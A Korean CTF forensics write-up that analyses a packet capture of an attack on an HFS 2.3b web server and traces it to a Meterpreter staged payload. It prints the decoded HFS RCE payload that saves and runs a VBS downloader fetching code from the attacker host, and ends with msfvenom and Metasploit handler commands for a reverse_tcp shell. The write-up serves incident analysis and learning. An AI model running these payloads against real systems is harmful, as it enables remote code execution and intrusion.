< 보안프로젝트 회사의 대표님이 내주시는 CTF 문제 중 하나를 푼 후 풀이를 써봤다. 문제 링크는 - https://cafe.naver.com/boanproject/29088 >

문제 제시

어느 한 회사에서 사용하고 있는 공유 서버가 침투 당했다.
공격자는 여러 백도어 파일을 생성하여 공격했다.
공격자와 직접적으로 연결되어 있는 백도어 이름을 찾아야한다.
https://docs.google.com/forms/d/e/1FAIpQLScNanMI4l89EOZi9rRsoHVKTvcep5ABCeJSxp__-8Uz63AqYQ/viewform

문제 풀이

문제 파일을 다운 받아 압축을 풀면 pcap 파일 하나가 나오게 된다. 와이어샤크로 불러온 후, pcap 파일의 메타데이터를 알아본다.

pcap 메타데이터

약 3분간 캡쳐된 파일이며, 인터페이스는 VMWare Network Adapter 및 VMNet8 이 쓰인 걸 알 수 있다. 가상 환경과 연결된 인터페이스에서 캡쳐된 파일이니, 의미 있는 IP 주소들은 사설망 주소들 (192.168.0.0/16, 172.16.0.0/12, 10.0.0.0/8) 일 것이라고 추측할 수 있다.

패킷을 일일히 들여다보기 전에, 큰 그림을 보기 위해 다양한 통계 데이터를 참고한다. Statistics → Conversations 및 Statistics → IPv4 Statistics → All Addresses 로 가 패킷 숫자로 정렬을 시키면 가장 많이 패킷을 주고받은 아이피 주소들을 알아낼 수 있다.

IPv4 Addresses 관련 통계

Conversation 관련 통계

위 나온 통계 자료들을 보면 눈에 띄는 아이피 주소들이 있다. 그 중 구글의 아이피 172.217.26.0/24 와 호스트 머신의 아이피 192.168.140.1 을 제외한  192.168.140.149192.168.140.129 가 중요 타겟들이라는 것을 추측할 수 있다.

아직 누가 공격자고 방어자인지, 그리고 실제로 192.168.140.149 와 192.168.140.129 가 중요 타겟들이라는 확신은 없다. 자세히 알아보기 위해 전체 pcap 파일에 필터링을 걸어본다.

ip.addr == 192.168.140.129 && ip.addr == 192.168.140.149 && http

필터링을 적용시킨 뒤 HTTP 패킷을 보다보면 아주 친숙한 페이로드 하나를 찾아낼 수 있다.

많이 봤던 "그 페이로드"

192.168.140.149 가 192.168.140.129 를 상대로 /?search=test%27 요청 (URL 디코딩 시 /?search=test’) 을 보낸 것을 확인할 수 있다. SQL 인젝션 요청이니 이를 바탕으로 192.168.140.149 가 공격자, 192.168.140.129 가 방어자 서버라는 것 또한 추측이 가능하다.

또한, 방어자 서버의 HTTP 헤더를 통해 HFS 2.3b 라는 웹서버를 운영하고 있는 것을 알 수 있다.

서버 응답에서 Server: HFS 2.3b 헤더 확인

HacktheBox 를 해보신 분이거나 Vulnhub 을 풀어보시는 분들이라면 HFS 와 관련된 익스플로잇이 기억날 것이다. 혹시나 해서 searchsploit 로 찾아보면 원격 코드 실행 익스플로잇들이 나오는 것을 볼 수 있다.

HFS 2.3 관련 RCE 익스플로잇

각 익스플로잇들의 소스코드 분석을 해봐도 좋겠지만, 일단은 챌린지에 집중하자. 나중에 공격자의 페이로드를 보며 익스플로잇 코드도 살펴보도록 한다.

더 스크롤을 내리다 보면 test or 1=1 등의 SQL 인젝션 페이로드를 사용하는 모습도 볼 수 있다.

중요한 지점은 이 다음부터다. 몇가지 SQL 인젝션 페이로드를 시도한 공격자는 곧  두 가지 페이로드를 통해 뭔가를 저장 (save) 한 뒤 실행 (exec) 하는 것을 볼 수 있다.

save/exec 관련 페이로드

이 GET 요청의 페이로드를 복사해 URL 디코딩을 거치면 아래와 같이 나온다.

NeNUZfHyLb.vbs 와 파일 내용
/?search={.save|%TEMP%\NeNUZfHyLb.vbs|Set x=CreateObject("Microsoft.XMLHTTP")
On Error Resume Next
x.Open "GET","http://192.168.140.149:8080/GKQD59exh2Y",False
If Err.Number <> 0 Then
wsh.exit
End If
x.Send
Execute x.responseText.}

위 페이로드는 http://192.168.140.149:8080/GKQD59exh2Y 에다가 GET 요청을 보낸 뒤 (x.Open "GET",...) 돌아오는 응답을 실행하는 (Execute x.responseText) VBS 파일을 %TEMP%\NeNUZfHyLb.vbs 에다가 저장하고 있다.

그 뒤, /?search={.exec|wscript.exe //B //NOLOGO %TEMP%\GQniqYqUNc.vbs.} 페이로드를 통해 앞서 저장해놨던 NeNUZfHyLb.vbs 파일을 실행시킨다.

NeNUZfHyLb.vbs 파일 저장 후 실행. 이후 GET /GKQD59exh2Y 요청 확인.

실제로 save/exec 페이로드들이 실행된 뒤 방어자 서버 (192.168.140.129) 가 공격자 서버로 GET /GKQD59exh2Y 요청을 보내는 것을 확인할 수 있다. 아래는 공격자 서버의 응답이다.

난독화된 VBS 를 응답하는 공격자서버

공격자 서버가 난독화된 VBS 스크립트를 응답하는 것을 볼 수 있다. 중간에 base64 인코딩된 어마어마하게 긴 문자열이 중요한 페이로드라는 것을 직감할 수 있다. 그대로 복사 붙여넣기를 한 뒤, base64 디코딩을 하게 되면…

PE 파일 확인

바로 PE 파일이 나온다! 이 PE 파일이 담긴 난독화된 VBS 응답을 받아온 후, 방어자 서버의 NeNUZfHyLb.vbs 스크립트는  Execute x.responseText  를 통해 VBS + PE 파일을 실행시키게 된다.

현재까지의 상황을 정리해보면 다음과 같다.

현재까지의 공격 상황

추가 연구 및 Meterpreter 연구

챌린지는 사실상 여기서 끝이다. 하지만 저 PE 파일이 뭔지 너무 궁금하다. 더 깊게 파고들어가보자.

일단 PE 파일을 상대로 strings 를 해보면 매우 이상한 것을 발견할 수 있다.

Apache Software Foundation 이 만든 악성코드다?

기껏 공격자의 페이로드를 찾았나 했는데, Apache 가 만든 ApacheBench 라는 프로그램이라고 나온다. 공격자가 굳이 악성코드가 아닌 합법적인 아파치 프로그램을 방어자 서버와 주고 받을 일이 있을까? 뭔가 이상하다.  

확실히 알아보기 위해 PEStudio 를 이용해 아까 긁어온 PE 파일을 살펴보면, 바이러스토탈의 AV엔진들이 55/69 로 악성코드 진단을 하는 것을 볼 수 있다.

근데 또 파일 메타 데이터를 살펴보면 아파치와 ApacheBench 와 관련된 것들을 찾을 수 있다.

Import 된 함수들을 살펴본다.

악성코드에서 흔히 볼 수 있는 VirtualAlloc, WriteProcessMemory, VirtualProtect, QueueUserAPC, CreateRemoteThread 등의 함수는 없고, 정말 순수하게 소켓이나 네트워크 관련된 함수들만 나온다. 정말 이 프로그램이 ApacheBench 인지 아닌지에 대해서는 뒤에 더 서술한다.

악성코드가 메타데이터를 변조하는 경우도 있고, Import 테이블에 함수가 들어가지 않도록 WinAPI 를 부르는 경우도 있으니 일단은 한번 실행시켜 보자. 파일을 실행시키면 공격자의 서버 (192.168.140.149:4444) 로 연결하려는 모습을 볼 수 있다.

procmon 으로도 확인할 수 있다

192.168.140.149:4444 로 연결하려고 하니, 그에 맞는 가상머신을 만들어서 netcat 으로 연결을 받으려고 해보자.

연결은 되는데 그냥 바로 끊겨버린다.  포트를 다시 한 번 보니 4444 라는 걸 깨달았다. 포트 4444 는 Metasploit 을 사용해봤다면 까먹을수가 없는 포트다. 왠만한 리버스 페이로드들의 기본 포트이기 때문이다. 그렇다면 Meterpreter 라던지 아니면 Metasploit 와 관련된 페이로드인가?

Meterpreter 세션 연결 성공

맞다! 앞서 발견한 ApacheBench (ab.exe) 는 바로 Meterpreter 의 Stager 였던 것이다. 실제로 구글링을 해보면 메타스플로잇의 개발자 중 하나인 David Maloney 가 DerbyCon 에서 발표 했던 내용 중  Meterpreter 의 stager 의 기본 템플릿 파일은 ApacheBench 이며, 아마 아파치 쪽 사람들이 이거 때문에 매우 짜증나 할 것 이라고 하는 부분을 찾을 수 있다.

https://privacy-pc.com/articles/av-evasion-lessons-learned.html

( Metasploit 프레임워크에서의 Staged 페이로드와 Stageless 페이로드에 관해서는 글이 너무 길어지기에 다루지 않겠다. )

다시 ab.exe 로 돌아가 와이어샤크를 살펴보면 아니나 다를까 Meterpreter 의 두번째 stage (스테이지) 파일을 내려받고 있는 것을 볼 수 있다.

더 자세히 살펴보면, PE 파일과 비슷하지만 파일 헤더가 조금 다른 (0x46ac0200) 파일을 내려받고 있는 것을 볼 수 있다.

ReflectiveDLLInjection 을 위한 DLL 파일 전송

하지만 이 파일 또한 Meterpreter 의 완전한 두번째 스테이지 파일은 아니다. Meterpreter 는 ReflectiveDLLInjection 을 통해 공격자 서버로부터 전송 받은 DLL 을 ab.exe 프로세스의 메모리 안에서 또 이래저래 변환한 뒤 실행시키기 때문에, 위 와이어샤크에서 발견한 PE 파일을 Meterpreter 의 두번째 스테이지 파일이라고 볼 수 없다. ReflectiveDLLInjection 을 준비하기 위한 DLL 파일이라고 봐야한다.

두번째 스테이지 파일을 찾아내려면 현재 ab.exe 파일의 메모리에 로드된 것을 찾아내야한다. 이를 위해 API Monitor 와 Wireshark, Process Hacker 를 사용한다.

Ab.exe 를 실행시킨 뒤, DLL 파일이 전송 끝나는 시점을 알아보면 22:21:09.286 이 나온다.

ReflectiveDLLInjection 용 DLL 파일 전송이 끝나는 시점

이 시점에 가 API Monitor 를 보면 NtCreateThreadEx 로 메모리에 로드된 DLL 파일을 실행시키는 것을 볼 수 있다. 더 자세하게 설명하면 ReflectiveDLLInjection 이 이때부터 진행 된다.

DLL 파일을 전송받고 바로 CreateThread 를 0x008ea2ae 에서 실행하는 모습

0x008ea2ae 라는 메모리 시작지점에서 스레드를 만들어 실행시키는 것을 볼 수 있다. Process Hacker 를 사용해 ab.exe 의 메모리를 열고, 해당 지점에 가보면, Read Write Execute 가 설정되어 있는 메모리를 볼 수 있다.

ReflectiveDLLInjection 의 스멜이 나는 RWX 메모리 구간

그리고 이 메모리 부분을 열어보면…

또 다른 PE 파일이 나온다! 이게 Meterpreter 의 진정한 두번째 스테이지 DLL 파일인 것이다. 해당 부분을 내보내 dll 파일로 저장시킨 뒤 PEStudio 나 VirusTotal 로 확인을 해보면, Meterpreter 의 스테이지 파일인 것을 알 수 있다.

총 정리를 하자면 다음과 같이 공격이 이뤄졌다고 보면 된다.

참 신기하지 않은가? 우리가 평소에 단순히 커맨드 몇 줄 치던게 …

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.140.149 LPORT=4444 -f exe > stager.exe 


msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.140.149
set lport 4444
exploit -j

사실 알고 보면 msfvenom 이 staged 페이로드를 생성할 때 스테이저 (stager.exe)가 ApacheBench (ab.exe) 를 이용하고 있었고 (난 이거 오늘 처음 알았다), 이를 통해 다운 받는 스테이지 DLL 파일이 ReflectiveDLLInjection 을 통해 또 변환이 이뤄지고, ab.exe 의 메모리안에 들어가 있는, ReflectiveDLLInjection 이 끝난 Meterpreter 스테이지 파일을 직접 꺼내서 볼 수 있다는 것까지.. 깊게 파고들면 파고들수록 Meterpreter 도 엄청 복잡하다는 걸 느낀다.

이렇게 해서 챌린지 문제 풀이와 본의 아니게 Meterpreter 의 Staged Payload 가 어떻게 작동하는지 까지 알아봤다. 사실 Metasploit 소스코드를 뒤져가며 (https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_rc4.asm) Stager 는 어떻게 작동하는지, Stage 는 어떻게 작동하는지, 어떻게 ReflectiveDLLInjection 이 이뤄지고 있는지 까지 좀 더 알아봤지만, 일단 기말고사를 끝내야한다.

로우 레벨로 깊게 파고들수록 복잡하지만 재밌다는 것을 새삼 또 느끼며 미뤄왔던 기말고사 공부를 하러 간다.

Happy Hacking!